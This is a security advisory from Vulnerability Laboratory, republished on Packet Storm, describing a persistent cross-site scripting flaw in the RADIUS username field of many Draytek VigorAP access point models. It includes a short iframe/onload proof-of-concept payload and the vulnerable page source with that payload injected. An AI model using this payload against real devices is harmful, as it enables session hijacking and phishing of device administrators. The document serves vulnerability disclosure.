exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Draytek VigorAP Cross Site Scripting

Draytek VigorAP Cross Site Scripting
Posted May 7, 2020
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Draytek VigorAP suffers from a persistent cross site scripting vulnerability. Multiple different versions are affected.

tags | exploit, xss
SHA-256 | 1f242069af7613710758f28c78e8cad5fa85bfd384ed97f463535ccff144224f

Draytek VigorAP Cross Site Scripting

Change Mirror Download
Document Title:
===============
Draytek VigorAP - (RADIUS) Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2244


Release Date:
=============
2020-05-07


Vulnerability Laboratory ID (VL-ID):
====================================
2244


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
VigorAP is 11ac Wave 2 dual-band wireless mesh access point with port
LAN switch. VigorAP provides the flexibility and advanced
features for professional users to take full management of the wireless
network, including the mesh technology, which aims for providing an easy
way to expand the wireless network in minutes.

(Copy of the Homepage: https://www.draytek.com/ &
https://www.draytek.com/products/vigorap-903/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent web vulnerabilities in the official Draytek VigorAP series.


Affected Product(s):
====================
Draytek
[+] VigorAP 1000C | 1.3.2
[+] VigorAP 700 | 1.11
[+] VigorAP 710 | 1.2.5
[+] VigorAP 800 | 1.1.4
[+] VigorAP 802 | 1.3.2
[+] VigorAP 810 | 1.2.5
[+] VigorAP 900 | 1.2.0
[+] VigorAP 902 | 1.2.5
[+] VigorAP 903 | 1.3.1
[+] VigorAP 910C | 1.2.5
[+] VigorAP 912C | 1.3.2
[+] VigorAP 918R Series | 1.3.2
[+] VigorAP 920R Series | 1.3.0
[+] All other VigorAP Series with Radius Module


Vulnerability Disclosure Timeline:
==================================
2020-05-07: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A persistent input validation vulnerability has been discovered in the
official Draytek VigorAP product series application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent input validation web vulnerability is located in the
username input field of the RADIUS Setting - RADIUS Server
Configuration module. Remote attackers with limited access are able to
inject own malicious persistent script codes as username.
Other privileged user accounts execute on preview of the modules
context. The request method to inject is POST and the attack
vector is located on the application-side.

Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.

Vulnerable Module(s):
[+] RADIUS Setting - RADIUS Server Configuration - Users Profile

Vulnerable Input(s):
[+] Username


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by
remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the security vulnerability
follow the provided information an steĆ¼s below to continue.


PoC: Payload
<iframe src=evil.source onload=alert(document.domain)></iframe>


PoC: Vulnerable Source (http:/vigorAP.localhost:50902/home.asp)
<div class="box">
<table width="652" cellspacing="1" cellpadding="2">
<tbody><tr>
<th id="userName">Username</th>
<th id="passwd">Password</th>
<th id="confirmPasswd">Confirm Password</th>
<th id="configure">Configure</th>
</tr>
<tr>
<td><input maxlength="24" type="text" id="addusr"></td>
<td><input maxlength="24" type="password" id="addpwd"></td>
<td><input maxlength="24" type="password" id="addpwdcfm"></td>
<td><input type="button" id="btnAddUser" value="Add" class="add"
onclick="addUser()">
<input type="button" id="btnCancelUser" value="Cancel" class="add"
onclick="cancelUser()"></td>
</tr>
</tbody></table>
<table class="content" width="652" cellspacing="1" cellpadding="2">
<tbody id="usersTb">
<tr>
<th id="userNo">NO.</th>
<th id="userNames">Username</th>
<th id="userSelect">Select</th>
</tr>
<tr><td>1</td><td>test</td><td><input type="checkbox"><input
type="hidden" value="test"></td></tr>
tr><td>2</td><td><iframe src=evil.source
onload=alert(document.domain)></iframe></td><td><input type="checkbox">
<input type="hidden" value="asd"></td></tr></tbody>
</table>
<p><input type="button" id="btnDelSelUser" value="Delete Selected"
class="del" onclick="delSelUser()">
<input type="button" id="btnDelAllUser" value="Delete All" class="del"
onclick="delAllUser()">
</p></div>


Reference(s):
http:/vigorAP.localhost:50902/
http:/vigorAP.localhost:50902/home.asp


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™





--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    65 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    23 Files
  • 23
    May 23rd
    15 Files
  • 24
    May 24th
    49 Files
  • 25
    May 25th
    20 Files
  • 26
    May 26th
    13 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    11 Files
  • 30
    May 30th
    46 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close